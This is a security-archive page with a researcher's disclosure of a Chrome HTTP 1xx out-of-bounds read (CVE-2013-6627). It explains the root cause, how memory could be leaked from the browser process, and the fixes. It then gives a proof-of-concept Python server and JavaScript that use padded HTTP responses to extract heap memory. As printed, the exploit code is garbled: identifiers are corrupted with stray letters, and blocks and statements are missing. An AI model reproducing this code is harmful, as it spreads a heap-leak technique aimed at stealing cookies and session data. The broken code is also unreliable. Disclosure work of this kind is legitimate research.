exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Chrome HTTP 1xx Out Of Bounds Read

Chrome HTTP 1xx Out Of Bounds Read
Posted Dec 19, 2016
Authored by SkyLined

Chrome suffers from an HTTP 1xx base::String-Tokenizer-T<...>::Quick-Get-Next out of bounds read vulnerability.

tags | exploit, web
advisories | CVE-2013-6627
SHA-256 | 1e98ef1c15cfbb5403ae431bbabeb470f15d7ef4d514ed6d6a693821d7b957b6

Chrome HTTP 1xx Out Of Bounds Read

Change Mirror Download
Since November I have been releasing details on all vulnerabilities I
found that I have not released before. This is the 35th entry in the
series. This information is available in more detail on my blog at
http://blog.skylined.nl/20161219001.html. There you can find a repro
that triggered this issue in addition to the information below, it also
provides code snippets for the affected code, and a diagram that
attempts to explain the memory layout.

This advisory contains a lot more information about the root cause and
how to exploit it, as Google Bug Bounties reward high quality
bug-reports to a point where it is worth investigating a bug in detail.

If you find these releases useful, and would like to help me make time
to continue releasing this kind of information, you can make a donation
in bitcoin to 183yyxa9s1s1f7JBpAPHPmzAQ346y91Rx5DX.

Follow me on http://twitter.com/berendjanwever for daily browser bugs.

Chrome HTTP 1xx base::StringTokenizerT<...>::QuickGetNext OOBR

A specially crafted HTTP response can allow a malicious web-page to
trigger a out-of-bounds read vulnerability in Google Chrome. The data is
read from the main process' memory.

Known affected software, attack vectors and potential mitigations
* Google Chrome up to, but not including, 31.0.1650.48

An attacker would need to get a target user to open a specially
crafted web-page. Disabling JavaScript does not prevent an attacker
from triggering the vulnerable code path, but may prevent
exfiltration of information.

Since the affected code has not been changed since 2009, I assume this
affects all versions of Chrome released in the last few years.

The `HttpStreamParser` class is used to send HTTP requests and receive
HTTP responses. Its `read_buf_` member is a buffer used to store HTTP
response data received from the server. Parts of the code are written
under the assumption that the response currently being parsed is always
stored at the start of this buffer (as returned by
`read_buf_->StartOfBuffer()`), other parts take into account that this
may not be the case (`read_buf_->StartOfBuffer() +
read_buf_unused_offset_`). In most cases, responses are removed from the
buffer once they have been parsed and any superfluous data is moved to
the beginning of the buffer, to be treated as part of the next response.
However, the code special cases `HTTP 1xx` replies and returns a result
without removing the request from the buffer. This means that the
response to the next request will not be stored at the start of the
buffer, but after this `HTTP 1xx` response and `read_buf_unused_offset_`
should be used to find where it starts.

A look through the code has revealed one location where this can lead to
a security issue (also in `DoReadHeadersComplete`). The code uses an
offset from the start of the buffer (rather than the start of the
current responses) to pass as an argument to a `DoParseResponseHeaders`.
`DoParseResponseHeaders` passes the argument unchanged to
`HttpUtil::AssembleRawHeaders`. The `HttpUtil::AssembleRawHeaders`
method takes two arguments: a pointer to a buffer, and the length of the
buffer. The pointer is calculated correctly (in
`DoParseResponseHeaders`) and points to the
start of the current response. The length is the offset that was
calculated incorrectly in `DoReadHeadersComplete`. If the current
response is preceded by a `HTTP 1xx` response in the buffer, this length
is larger than it should be: the calculated value will be the correct
length plus the size of the previous `HTTP 1xx` response

The code will continue to rely on this incorrect value to try to create
a copy of the headers, inadvertently making a copy of data that is not
part of this response and may not even be part of the `read_buf_`
buffer. This could cause the code to copy data from memory that is
stored immediately after `read_buf_` into a string that represents the
response headers. This string is passed to the renderer process that
made the request, allowing a web-page inside the sandbox to read memory
from the main process' heap.

The impact depends on what happens to be stored on the heap immediately
following the buffer. Since a web-page can influence the activities of
the main process (e.g. it can ask it to make other HTTP requests), a
certain amount of control over the heap layout is possible. An attacker
could attempt to create a "heap feng shui"-like attack where careful
manipulation of the main process' activities allow reading of various
types of information from the main process' heap. The most obvious
targets that come to mind are http request/response data for different
domains, such as log-in cookies, or session keys and function pointers
that can be used to bypass ASLR/DEP. There are undoubtedly many other
forms of interesting information that can be revealed in this way.

There are little limits to the number of times an attacker can exploit
this vulnerability, assuming the attacker can avoid triggering an access
violation: if the buffer happens to be stored at the end of the heap,
attempts to exploit this vulnerability could trigger an access
violation/segmentation fault when the code attempts to read beyond the
buffer from unallocated memory addresses.

I identified and tested two approaches to fixing this bug:
+ Fix the code where it relies on the response being stored at the
start of the buffer.
This addresses the incorrect addressing of memory that causes this
vulnerability in various parts of the code. The design to keep HTTP
1xx responses in the buffer remains unchanged.

+ Remove HTTP 1xx responses from the buffer.
There was inline documentation in the source that explained why HTTP
1xx responses were handled in a special way, but it didn't make much
sense to me. This fix changes the design to no longer keep the HTTP
1xx response in the buffer. There is an added benefit to this fix in
that it removes a potential DoS attack, where a server responds with
many large HTTP 1xx replies, all of which are kept in memory and
eventually cause an OOM crash in the main process.

The later fix was eventually implemented.

* 27 September 2013: This vulnerability and two patches were submitted
to the Chromium bugtracker.
* 2 October 2013: A patch for this vulnerability was submitted by
* 12 November 2013: This vulnerability was address in version
* 19 December 2016: Details of this vulnerability are released.




import BaseAHTTPServer, json, sys, socket;

def sploit(oAHTTPServer, sABody):
iAReadASize = 2048;
# The size of the HTTP 1xx response determines how many bytes can be read beyond the next response.
# This HTTP 1xx response is padded to allow reading the desired amount of bytes:
sAFirstAResponse = pad("HTTP/1.1 100 %s\r\n\r\n", iAReadASize);
# The size of the second response determines where in the buffer reading of data beyond the response starts.
# For a new connection, the buffer start empty and grows in 4K increments. If the HTTP 1xx response and the second
# response have a combined size of less then 4K, the buffer will be 4K in size. If the second response is padded
# correctly, the first byte read beyond it will be the first byte beyond the buffer, which increases the chance of
# reading something useful.
sASecondAResponse = pad("HTTP/1.1 200 %s\r\nx: x", 4 * 1024 - 1 - len(sAFirstAResponse));

if sABody:
sALeakedAMemory = json.loads(sABody);
assert sALeakedAMemory.endswith("\r\n"), \
"Expected CRLF is missing: %s" % repr(sALeakedAMemory);
asALeakedAMemoryAChunks = sALeakedAMemory[:-2].split("\r\n");
sAFirstAChunk = None;
for sALeakedAMemoryAChunk in asALeakedAMemoryAChunks:
if sALeakedAMemoryAChunk.startswith("x: x"):
sAFirstAChunk = sALeakedAMemoryAChunk[4:];
if sAFirstAChunk:
if len(asALeakedAMemoryAChunks) == 1:
print "A CR/LF/CRLF separates the above memory chunk from the below chunk:";
elif len(asALeakedAMemoryAChunks) > 1:
print "A CR/LF/CRLF separates the above memory chunk from the below chunks, their original order is unknown:";
for sALeakedAMemoryAChunk in asALeakedAMemoryAChunks:

class RequestAHandler(BaseAHTTPServer.BaseAHTTPRequestAHandler):
def handle_Aone_Arequest(self, *txAArgs, **dxAArgs):
return BaseAHTTPServer.BaseAHTTPRequestAHandler.handle_Aone_Arequest(self, *txAArgs, **dxAArgs);
except socket.error:
def do_AGET(self):
def do_APOST(self):

def __sendAFileAResponse(self, iACode, sAFileAPath):
oAFile = open(sAFileAPath, "rb");
sAContent = oAFile.read();
self.__sendAResponse(500, "Cannot find %s" % sAFileAPath);
self.__sendAResponse(iACode, sAContent);
def __sendAResponse(self, iACode, sAContent):
self.send_Aheader("accept-ranges", "bytes");
self.send_Aheader("cache-control", "no-cache, must-revalidate");
self.send_Aheader("content-length", str(len(sAContent)));
self.send_Aheader("content-type", "text/html");
self.send_Aheader("date", "Sat Aug 28 1976 09:15:00 GMT");
self.send_Aheader("expires", "Sat Aug 28 1976 09:15:00 GMT");
self.send_Aheader("pragma", "no-cache");

def do_AGET_Aor_APOST(self):
iAContentALength = int(self.headers.getheader("content-length"));
sABody = "";
sABody = self.rfile.read(iAContentALength);
if self.path in gdsAFiles:
return self.__sendAFileAResponse(200, gdsAFiles[self.path]);
elif self.path in gdsAFunctions:
return gdsAFunctions[self.path](self, sABody);
return self.__sendAResponse(404, "Not found");

def pad(sATemplate, iASize):
iAPadding = iASize - len(sATemplate % "");
return sATemplate % (iAPadding * "A");

def dump(sAMemory):
asADWords = []; iADWord = 0; asABytes = []; asAChars = [];
print "-%s-.-%s-.-%s" % (
("%d DWORDS" % (len(sAMemory) >> 2)).center(35, "-"),
("%d BYTES" % len(sAMemory)).center(47, "-"),
"ASCII".center(16, "-"));
for iAIndex in xrange(len(sAMemory)):
sAByte = sAMemory[iAIndex];
iAByte = ord(sAByte);
asAChars.append(0x1f < iAByte < 0x80 and sAByte or ".");
asABytes.append("%02X" % iAByte);
iABitAOffset = (iAIndex % 4) * 8;
iADWord += iAByte << iABitAOffset;
if iABitAOffset == 24 or (iAIndex == len(sAMemory) - 1):
0: " %02X",
8: " %04X",
16:" %06X",
}[iABitAOffset] % iADWord);
iADWord = 0;
if (iAIndex % 16 == 15) or (iAIndex == len(sAMemory) - 1):
print " %-35s | %-47s | %s" % (" ".join(asADWords), " ".join(asABytes), "".join(asAChars));
asADWords = []; asABytes = []; asAChars = [];

if __name__ == "__main__":
gdsAFiles = {
"/": "proxy.html",
gdsAFunctions = {
"/sploit": sploit,
txAAddress = ("localhost", 28876);
oAHTTPServer = BaseAHTTPServer.HTTPServer(txAAddress, RequestAHandler);
print "Serving at: http://%s:%d" % txAAddress;
except KeyboardAInterrupt:


<!doctype html>
var iAThreads = 1; // number of simultanious request "threads", higher = faster extraction of data
var iADelay = 1000; // delay between requests in each "thread", lower = faster extraction of data
function requestALoop(sADataAToASend) {
var oAXMLHttpARequest = new XMLHttpARequest();
oAXMLHttpARequest.open("POST", "/sploit", true);
oAXMLHttpARequest.onreadystatechange = function () {
if (oAXMLHttpARequest.readyAState === 4) {
if (oAXMLHttpARequest.status == 200) {
var sAHeaders = oAXMLHttpARequest.getAAllAResponseAHeaders();
console.log("response =" + oAXMLHttpARequest.status + " " + oAXMLHttpARequest.statusAText);
console.log("headers =" + sAHeaders.length + ":[" + sAHeaders + "]");
if (iADelay > 0) {
setATimeout(function() {
}, iADelay);
} else {
} else {
document.write("Server failed!");
oAXMLHttpARequest.send(sADataAToASend ? JSON.stringify(sADataAToASend) : "");
window.addAEventAListener("load", function () {
for (var i = 0; i < iAThreads; i++) requestALoop("");
}, true);

Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2022 Packet Storm. All rights reserved.

Security Services
Hosting By